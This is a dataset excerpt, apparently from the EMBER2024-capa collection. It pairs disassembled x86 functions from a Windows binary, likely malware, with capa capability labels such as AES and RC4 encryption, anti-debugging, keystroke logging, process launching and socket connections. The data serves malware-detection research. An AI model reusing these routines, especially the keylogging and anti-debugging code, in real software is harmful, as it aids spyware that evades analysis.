joyce8/EMBER2024-capa huggingface dataset:
Function at 0xa145cf
Capabilities:
Encrypt data using aes

Disassembly:
sets ah
bsr dx, bx
jmp 0xa1466b
mov dword [esp + 0x14], edi
sub esp, 3
lea esp, [esp + 3]
popal
jmp 0xa1450d
push edx
pushal
mov edx, dword [esp]
mov dh, byte [esp]
jmp 0xa144e2
lea edx, [edx*4]
lea edx, [edx + 0x9e02c8]
mov edi, dword [edx]
pop edx
not ebp
jmp 0xa14543
mov edi, edx
and edi, esi
bt ebp, esi
sub esp, 0x15
lea esp, [esp + 1]
jmp 0xa14503
mov ebp, 0x3af2873c
add ebp, 0xc50e77c4
and edi, ebp
jmp 0xa1458a
sub esp, 0x14
movzx edi, byte [edi*4 + 0x9e02c8]
xor eax, edi
jmp 0xa14533
lea esp, [esp + 0x28]
xor eax, dword [ecx]
push si
inc di
lea esp, [esp + 2]
jmp 0xa145b4
xor eax, edi
mov di, 0xd83f
or di, 0xddaa
bt di, si
bsr edi, ecx
jmp 0xa14574
xor ebx, eax
push eax
clc
jmp 0xa14662
lea edi, [ecx + 0x10]
sub esp, 0x1d
lea esp, [esp + 1]
jmp 0xa1459e
pop ebp
shr edi, 0x18
jmp 0xa14565
mov dword [ecx + 0x14], ebx
jmp 0xa1462b
xor eax, ebx
sub esp, 0xf
mov dword [esp + 1], edi
lea esp, [esp + 3]
jmp 0xa145d5
mov edx, ecx
add edx, 8
mov eax, dword [edx]
pop edx
jmp 0xa145eb
mov dword [ecx + 0x1c], edx
mov edx, esi
xchg cx, ax
jmp 0xa14636
mov dword [ecx + 0x18], eax
shl ebx, cl
xor edx, eax
mov al, 0x5d
jmp 0xa14615
mov ebx, 0x7468686d
sub esp, 0x17
call 0xa14644
stc
lea esp, [esp + 3]
add ebx, 0x8c35b25f
jmp 0xa14681
mov dword [edi], eax
neg eax
mov al, dl
push edx
jmp 0xa1460b
mov eax, edi
xchg ch, cl
jmp 0xa146a4
lea esp, [esp + 0x18]
lea esp, [esp + 0x2c]
jmp 0x9d5081
btc esi, esp
mov ecx, dword [esp]
mov dword [esp + 0x18], edx
popal
btc edi, ecx
stc
jmp 0xa146b0
mov edx, dword [eax + 0xc]
btr ecx, edi
neg cx
pushal
jmp 0xa1468e
neg di
cmc
shr ecx, 8
not edi
jmp 0xa1478d
stc
jmp 0xa14744
sub esp, 0xb
lea esp, [esp + 3]
shr edi, 0x10
and edi, esi
jmp 0xa146e5
mov edi, dword [edi*4 + 0x9e02c8]
call 0xa1471f
mov word [esp + 1], sp
lea esp, [esp + 1]
jmp 0xa14774
and edx, esi
mov edx, dword [edx*4 + 0x9e02c8]
call fcn.00a147b4
and eax, 0xb8492eb8
or edx, dword [0x691e3784]
mov edi, edx
clc
and ecx, esi
mov ecx, dword [ecx*4 + 0x9e02c8]
jmp 0xa146fb
Function at 0xa14644
Capabilities:
Encrypt data using aes

Disassembly:
sets ah
bsr dx, bx
jmp 0xa1466b
mov dword [esp + 0x14], edi
sub esp, 3
lea esp, [esp + 3]
popal
jmp 0xa1450d
push edx
pushal
mov edx, dword [esp]
mov dh, byte [esp]
jmp 0xa144e2
lea edx, [edx*4]
lea edx, [edx + 0x9e02c8]
mov edi, dword [edx]
pop edx
not ebp
jmp 0xa14543
mov edi, edx
and edi, esi
bt ebp, esi
sub esp, 0x15
lea esp, [esp + 1]
jmp 0xa14503
mov ebp, 0x3af2873c
add ebp, 0xc50e77c4
and edi, ebp
jmp 0xa1458a
sub esp, 0x14
movzx edi, byte [edi*4 + 0x9e02c8]
xor eax, edi
jmp 0xa14533
lea esp, [esp + 0x28]
xor eax, dword [ecx]
push si
inc di
lea esp, [esp + 2]
jmp 0xa145b4
xor eax, edi
mov di, 0xd83f
or di, 0xddaa
bt di, si
bsr edi, ecx
jmp 0xa14574
xor ebx, eax
push eax
clc
jmp 0xa14662
lea edi, [ecx + 0x10]
sub esp, 0x1d
lea esp, [esp + 1]
jmp 0xa1459e
pop ebp
shr edi, 0x18
jmp 0xa14565
mov dword [ecx + 0x14], ebx
jmp 0xa1462b
xor eax, ebx
sub esp, 0xf
mov dword [esp + 1], edi
lea esp, [esp + 3]
jmp 0xa145d5
mov edx, ecx
add edx, 8
mov eax, dword [edx]
pop edx
jmp 0xa145eb
mov dword [ecx + 0x1c], edx
mov edx, esi
xchg cx, ax
jmp 0xa14636
mov dword [ecx + 0x18], eax
shl ebx, cl
xor edx, eax
mov al, 0x5d
jmp 0xa14615
mov ebx, 0x7468686d
sub esp, 0x17
call 0xa14644
stc
lea esp, [esp + 3]
add ebx, 0x8c35b25f
jmp 0xa14681
mov dword [edi], eax
neg eax
mov al, dl
push edx
jmp 0xa1460b
mov eax, edi
xchg ch, cl
jmp 0xa146a4
lea esp, [esp + 0x18]
lea esp, [esp + 0x2c]
jmp 0x9d5081
btc esi, esp
mov ecx, dword [esp]
mov dword [esp + 0x18], edx
popal
btc edi, ecx
stc
jmp 0xa146b0
mov edx, dword [eax + 0xc]
btr ecx, edi
neg cx
pushal
jmp 0xa1468e
neg di
cmc
shr ecx, 8
not edi
jmp 0xa1478d
stc
jmp 0xa14744
sub esp, 0xb
lea esp, [esp + 3]
shr edi, 0x10
and edi, esi
jmp 0xa146e5
mov edi, dword [edi*4 + 0x9e02c8]
call 0xa1471f
mov word [esp + 1], sp
lea esp, [esp + 1]
jmp 0xa14774
and edx, esi
mov edx, dword [edx*4 + 0x9e02c8]
call fcn.00a147b4
and eax, 0xb8492eb8
or edx, dword [0x691e3784]
mov edi, edx
clc
and ecx, esi
mov ecx, dword [ecx*4 + 0x9e02c8]
jmp 0xa146fb

Function at 0xa14852
Capabilities:
Encrypt data using aes

Disassembly:
call 0xa1479e
mov dx, word [esp]
mov dl, byte [esp]
rol dl, 0
lea esp, [esp + 0x38]
xor ecx, dword [ebx]
jmp 0xa14813
xor ecx, dword [eax]
not edx
add ebx, 4
mov dword [edi], ecx
jmp 0xa147f8
mov edx, dword [eax + 4]
xor edx, ecx
mov dword [eax + 0x14], edx
jmp 0xa14834
rol edi, cl
mov dl, 0x54
lea edi, [eax + 0x10]
neg edx
jmp 0xa147e9
mov ecx, dword [eax + 8]
xor ecx, edx
bsr dx, bx
call 0xa1481e
mov dword [eax + 0x18], ecx
rcr dh, cl
bswap edx
mov edx, dword [eax + 0xc]
call 0xa14852
movsb byte es:[edi], byte [esi]
jmp 0xa1487c
lea esp, [esp + 8]
cmp ebx, 0x9e1af0
pushfd
jmp 0xa16218
add esp, 0
mov word [esp + 1], bp
xor edx, ecx
mov dword [eax + 0x1c], edx
jmp 0xa14854
pop eax
not si
pop edi
mov bp, dx
call fcn.00a15074
lea esp, [esp + 4]
jne 0x9d5081
push 0xa
jmp 0xa155fc

Function at 0xa14c71
Capabilities:
Encrypt data using aes

Disassembly:
jmp 0xa14d7a
stc
lea esp, [esp + 1]
mov ebx, dword [ebx*4 + 0x9e02c8]
lea esp, [esp + 0xc]
xor edi, dword [ebx*4 + 0x9e0ec8]
movzx ebx, byte [esi + 6]
sub esp, 1
jmp 0xa14d02
Function at 0xa14f68
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
mov edi, dword [edi*4 + 0x9e02c8]
jmp 0xa15013
lea esp, [esp + 0x30]
xor edi, dword [ebx*4 + 0x9e0ec8]
jmp 0xa14fcd
clc
lea esp, [esp + 2]
and ebx, ecx
stc
clc
jmp 0xa14f96
and edx, ecx
jmp 0xa14ff1
movzx ebx, byte [esi + 0xe]
pushfd
mov ebx, dword [ebx*4 + 0x9e02c8]
jmp 0xa14fb7
lea esp, [esp + 1]
jmp 0xa1503a
mov edx, dword [edx*4 + 0x9e02c8]
and ebx, ecx
sub esp, 0x17
lea esp, [esp + 0x12]
jmp 0xa14fdb
and edi, ecx
mov edi, dword [edi*4 + 0x9e06c8]
sub esp, 9
sub esp, 5
jmp 0xa14fac
xor edi, dword [edx*4 + 0x9e12c8]
jmp 0xa1504a
lea esp, [esp + 8]
xor edi, dword [ebx*4 + 0x9e0ac8]
cmc
and edx, ecx
jmp 0xa15024
dec dword [ebp - 4]
mov dword [esi + 0xc], edi
jne 0x9d5779
je 0x9d57aa

Function at 0xae1887
Capabilities:
Execute anti-debugging instructions

Disassembly:
pop word [esp]
jmp 0xae18c4
push word [esp + 1]
pop edx
lea esi, [edi*4]
pushal
rdtsc
jmp 0xae18ef
lea edi, [ebp*4]
push ax
pop bp
mov eax, edx
mov ah, byte [esp + 1]
xchg dh, ah
jmp 0xae18ae
mov dl, byte [esp + 9]
mov cl, 0xdf
pop ebp
xchg bx, dx
mov byte [esp + 0xc], ah
lea ecx, [ebp*4]
jmp 0xae1934
rdtsc
rdtsc
not dh
mov cl, byte [esp + 0xa]
lea esp, [esp + 7]
jmp 0xae194f
lea ebp, [ebx*4]
mov bx, word [esp + 9]
xchg dword [esp + 8], eax
mov al, dl
bswap edx
xchg word [esp + 6], cx
jmp 0xae191d
mov dword [esp + 6], ebp
pop dword [esp + 6]
mov ecx, dword [esp]
mov bp, word [esp + 9]
mov bx, dx
mov eax, 0x851ad4d8
jmp 0xae1992
mov byte [esp + 6], ch
call fcn.00ae1977
mov edx, 0x9d4ff8d2
call fcn.00ae19f5
push edi
rcl byte [esi + 0x31], 0xc0
imul edi, ebp, 0xd1a65fcc
push eax
mov byte [esp], al
mov si, dx
mov si, 0x80e3
mov dh, byte [esp + 1]
jmp 0xae199b

Function at 0xae2f47
Capabilities:
Parse pe header

Disassembly:
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x1c]
mov eax, dword [eax]
jmp 0xae2f11
mov dword [esp + 0x20], edi
lea esp, [esp + 0x20]
mov eax, dword fs:[0x30]
jmp 0xae2f27
Function at 0x4030b8
Capabilities:
Check http status code

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push 0x80000301
push 0
push 0xa
push 1
mov ebx, 0x42d620
call fcn.0042ab05
add esp, 0x10
push 0xffffffffffffffff
push 0x13
push 0x16010a05
push 0x52010001
call fcn.0042ab1d
add esp, 0x10
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 8
jge 0x403257
push 0x10027
push 0x16010a04
push 0x52010001
push 1
mov ebx, 0x42d7b0
call fcn.0042ab05
add esp, 0x10
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x403147
cmp dword [0x501aa4], 0xc8
jge 0x403147
mov eax, 1
jmp 0x40314c
mov eax, 0
test eax, eax
je 0x403248
push 0x10027
push 0x16010a04
push 0x52010001
push 1
mov ebx, 0x42d830
call fcn.0042ab05
add esp, 0x10
push 0xffffffffffffffff
push 0x13
push 0x16010a05
push 0x52010001
call fcn.0042ab1d
add esp, 0x10
mov dword [ebp - 0xc], eax
fild dword [ebp - 0xc]
fstp qword [ebp - 0xc]
fld qword [ebp - 0xc]
fadd qword [0x4bd214]
fstp qword [ebp - 0x14]
fld qword [ebp - 0x14]
call fcn.00402a4c
cmp eax, 1
jl 0x4031b2
cmp eax, 9
jl 0x4031c9
push 0x14e
push 0x401443c
push 9
call fcn.0042ab17
add esp, 0xc
dec eax
call 0x4031cf
pop ebx
add ebx, dword [eax*4 + 0x4bd21c]
jmp ebx
mov dword [0x501aa4], 0
jmp 0x403257
mov esp, ebp
pop ebp
ret
Function at 0x437d80
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x4b59fb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.004a9c27
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x437e02
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.004a7a02
mov eax, dword [eax]
push 0x4f3ce8
push eax
call fcn.0049a424
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.004a9eb2
test bl, bl
je 0x437e02
push 0x4f3ce8
lea ecx, [esp + 0xc]
call fcn.004aa242
push 0x4f3cf4
lea ecx, [esp + 0xc]
call fcn.004aa242
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x437e3e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.004a9eb2
jmp 0x437f09
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x437ec2
lea edx, [esp + 0x7c]
push 0x4f3cf0
push edx
call fcn.0049a424
add esp, 8
test eax, eax
je 0x437ec2
lea eax, [esp + 0x7c]
push 0x4f3cec
push eax
call fcn.0049a424
add esp, 8
test eax, eax
je 0x437ec2
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x437e52
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.004a9eb2
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x438730
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x438792
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x4387a0
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x4b5a7b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x4fd978]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x4388d8
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x438806
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.004a9eb2
xor eax, eax
jmp 0x43894f
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.004a9fef
push esi
lea ecx, [esp + 0xc]
call fcn.004aa27e
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x43892d
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push accept
call fcn.00438730
test eax, eax
jne 0x43892d
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push accept
mov ecx, edi
call fcn.00438730
test eax, eax
jne 0x43892d
lea eax, [esp + 0x14]
push 0x4f3d04
push eax
call fcn.0049b4a0
mov esi, eax
add esp, 8
test esi, esi
jne 0x43890c
lea ecx, [esp + 0x14]
push 0x4f3d00
push ecx
call fcn.0049b420
mov esi, eax
add esp, 8
test esi, esi
jne 0x43890c
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x43890f
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.004a9f9f
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x43881e
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.004a9eb2
xor eax, eax
jmp 0x43894f
mov byte [esi], 0
push 0x4f3cfc
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.004a9eb2
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x451240
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x4512ae
cmp si, 0x69
ja 0x4512ae
add esi, 0xffd0
cmp si, 0x11
je 0x45127e
push 0x11
call edi
test ax, ax
jge 0x45127e
or esi, 0x2000
cmp si, 0x10
je 0x451293
push 0x10
call edi
test ax, ax
jge 0x451293
or esi, 0x4000
cmp si, 0x12
je 0x4512a8
push 0x12
call edi
test ax, ax
jge 0x4512a8
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x4512bb
mov esi, 0xbd
jmp 0x45126f
cmp si, 0x6e
jne 0x4512c8
mov esi, 0xbe
jmp 0x45126f
cmp si, 0x6f
jne 0x451269
mov esi, 0xbf
jmp 0x45126f

Function at 0x452ab0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x50e1d0]
xor edx, edx
cmp eax, edx
jne 0x452ad6
xor eax, eax
mov byte [eax + 0x50e0d0], al
inc eax
cmp eax, 0x100
jl 0x452abe
mov dword [0x50e1d0], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x50e0d0
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x452b67
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x452b3a
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x452b08
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x452be0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x452c33
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x452c1a
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x459d30
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x18
mov eax, dword [esp + 0x1c]
push ebx
push ebp
push esi
xor esi, esi
xor ecx, ecx
mov si, word [eax + 8]
mov cx, word [eax + 4]
xor ebp, ebp
xor edx, edx
mov bp, word [eax + 0xa]
mov dx, word [eax + 6]
sub esi, ecx
sub ebp, edx
inc esi
xor ebx, ebx
inc ebp
cmp esi, ebx
mov dword [esp + 0x14], esi
jle 0x459ec8
cmp ebp, ebx
jle 0x459ec8
mov eax, esi
push edi
cdq
and edx, 7
add eax, edx
mov edi, eax
mov eax, esi
sar edi, 3
and eax, 0x80000007
mov dword [esp + 0x10], edi
jns 0x459d8e
dec eax
or eax, 0xfffffff8
inc eax
je 0x459d95
inc edi
mov dword [esp + 0x10], edi
mov ecx, edi
and ecx, reloc.WS2_32.dll_accept
jns 0x459da4
dec ecx
or ecx, 0xfffffffe
inc ecx
je 0x459dab
inc edi
mov dword [esp + 0x10], edi
push 0x18
call fcn.004a9bf3
add esp, 4
cmp eax, ebx
je 0x459dcc
mov dword [eax], ebx
mov dword [eax + 4], ebx
mov dword [eax + 8], ebx
mov dword [eax + 0xc], ebx
mov dword [eax + 0x10], ebx
mov dword [eax + 0x14], ebx
mov ebx, eax
mov eax, edi
mov dword [esp + 0x14], ebx
imul eax, ebp
push eax
mov dword [ebx], 7
mov dword [ebx + 4], esi
mov dword [ebx + 8], ebp
mov dword [ebx + 0x14], eax
call fcn.004a9bf3
mov ecx, dword [ebx + 0x14]
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [ebx + 0x10], edi
add esp, 4
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
test ebp, ebp
lea edx, [eax + 0x80]
jle 0x459ebe
xor eax, eax
mov dword [esp + 0x20], ebp
mov dword [esp + 0x1c], eax
mov ebp, dword [ebx + 0x10]
xor ecx, ecx
add ebp, eax
mov dword [esp + 0x2c], ecx
test esi, esi
jle 0x459ea5
mov al, byte [edx]
cmp al, 0xc0
jbe 0x459e91
and eax, 0xff
sub eax, 0xc0
inc edx
mov esi, eax
mov dword [esp + 0x24], edx
cmp esi, 1
jle 0x459e86
xor eax, eax
mov ecx, esi
mov al, byte [edx]
mov edx, ecx
mov bl, al
mov edi, ebp
mov bh, bl
dec esi
mov eax, ebx
shl eax, 0x10
mov ax, bx
mov ebx, dword [esp + 0x14]
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
mov edx, dword [esp + 0x24]
and ecx, 3
add ebp, esi
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
lea ecx, [eax + esi*8]
mov esi, dword [esp + 0x18]
jmp 0x459e94
mov al, byte [edx]
mov esi, dword [esp + 0x18]
mov byte [ebp], al
jmp 0x459e94
mov byte [ebp], al
inc ebp
add ecx, 8
inc edx
cmp ecx, esi
mov dword [esp + 0x2c], ecx
jl 0x459e30
mov eax, dword [esp + 0x1c]
mov edi, dword [esp + 0x10]
mov ecx, dword [esp + 0x20]
add eax, edi
dec ecx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], ecx
jne 0x459e21
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x18
ret
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x18
ret

Function at 0x45c410
Capabilities:
Initialize winsock library

Disassembly:
sub esp, 0x190
push esi
mov esi, ecx
call fcn.004ab460
lea eax, [esp + 4]
mov dword [esi], method.CWnd.virtual_0
push eax
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
neg eax
sbb eax, eax
mov dword [esi + 0x44], 0x4d12
inc eax
mov dword [esi + 0x40], 0xffffffff
mov dword [esi + 0x3c], eax
mov eax, esi
pop esi
add esp, 0x190
ret
Function at 0x45c5c0
Capabilities:
Resolve dns

Disassembly:
push ebx
push esi
mov esi, dword [esp + 0x10]
test esi, esi
je 0x45c647
cmp byte [esi], 0
je 0x45c647
mov ebx, dword [esp + 0xc]
xor eax, eax
mov ecx, ebx
mov edx, dword [esp + 0x14]
push edx
mov dword [ecx], eax
mov dword [ecx + 4], eax
mov dword [ecx + 8], eax
mov dword [ecx + 0xc], eax
call dword [sym.imp.WS2_32.dll_htons]
push esi
mov word [ebx + 2], ax
call dword [sym.imp.WS2_32.dll_inet_addr]
cmp eax, 0xffffffff
jne 0x45c635
push esi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x45c647
movsx ecx, word [eax + 0xa]
mov edx, dword [eax + 0xc]
push edi
lea edi, [ebx + 4]
mov esi, dword [edx]
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ax, word [eax + 8]
pop edi
mov word [ebx], ax
pop esi
mov eax, 1
pop ebx
ret 0xc
mov dword [ebx + 4], eax
mov word [ebx], 2
pop esi
mov eax, 1
pop ebx
ret 0xc
pop esi
xor eax, eax
pop ebx
ret 0xc

Function at 0x45ca33
Capabilities:
Connect socket

Disassembly:
sub esp, 0x10
push esi
mov esi, ecx
mov eax, dword [esi]
call dword [eax + 0xbc]
test eax, eax
je 0x45caa2
mov ecx, dword [esp + 0x1c]
mov edx, dword [esp + 0x18]
push ecx
lea eax, [esp + 8]
push edx
push eax
mov ecx, esi
call fcn.0045c5c0
test eax, eax
je 0x45caa2
mov edx, dword [esi + 0x40]
lea ecx, [esp + 4]
push 0x10
push ecx
push edx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x45ca9b
mov eax, dword [esi + 0x1c]
mov ecx, dword [esi + 0x40]
push 0x21
push 0x8078
push eax
push ecx
call dword [sym.imp.WS2_32.dll_WSAAsyncSelect]
cmp eax, 0xffffffff
je 0x45ca9b
mov eax, 1
mov dword [esi + 0x48], eax
pop esi
add esp, 0x10
ret 8
mov ecx, esi
call fcn.0045ca00
xor eax, eax
pop esi
add esp, 0x10
ret 8
Function at 0x45d7d0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov dword [ebp - 0x1c], ecx
mov eax, 1
test eax, eax
je 0x45d8b5
mov dword [ebp - 0x18], 0
mov dword [ebp - 0xc], 0
lea ecx, [ebp - 0x10]
push ecx
lea edx, [ebp - 0x18]
push edx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax + 0x3c]
push ecx
call dword [sym.imp.KERNEL32.dll_ClearCommError]
mov edx, dword [ebp - 0x18]
and edx, 0xe
test edx, edx
je 0x45d822
push 0
push 0x405
mov ecx, dword [ebp - 0x1c]
call fcn.0045cfd0
cmp dword [ebp - 0xc], 0
jne 0x45d82d
jmp 0x45d8b5
mov dword [ebp - 0x14], 0
mov eax, dword [ebp - 0x1c]
add eax, 0x40
push eax
lea ecx, [ebp - 0x14]
push ecx
push 1
lea edx, [ebp - 4]
push edx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax + 0x3c]
push ecx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x45d899
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x3e5
jne 0x45d897
push 1
lea edx, [ebp - 0x14]
push edx
mov eax, dword [ebp - 0x1c]
add eax, 0x40
push eax
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ecx + 0x3c]
push edx
call dword [sym.imp.KERNEL32.dll_GetOverlappedResult]
test eax, eax
je 0x45d897
mov eax, dword [ebp - 4]
and eax, 0xff
push eax
push 0x408
mov ecx, dword [ebp - 0x1c]
call fcn.0045cfd0
jmp 0x45d8b0
mov ecx, dword [ebp - 4]
and ecx, 0xff
push ecx
push 0x408
mov ecx, dword [ebp - 0x1c]
call fcn.0045cfd0
jmp 0x45d7d9
mov esp, ebp
pop ebp
ret

Function at 0x45d8c0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [ebp - 0x14], ecx
mov dword [ebp - 4], 0
mov eax, dword [ebp - 0x14]
mov dword [eax + 0x48], 0
mov ecx, dword [ebp - 0x14]
mov dword [ecx + 0x4c], 0
push 0xf
mov edx, dword [ebp - 0x14]
mov eax, dword [edx + 0x3c]
push eax
call dword [sym.imp.KERNEL32.dll_PurgeComm]
mov ecx, dword [ebp - 0x14]
mov dword [ecx + 0x8c], 1
mov edx, dword [ebp - 0x14]
mov eax, dword [edx + 0x88]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jle 0x45d9b1
mov ecx, dword [ebp - 0x14]
mov edx, dword [ecx + 0x88]
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0x14]
add eax, 0x78
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x10]
cmp dword [ecx + 0x10], 0
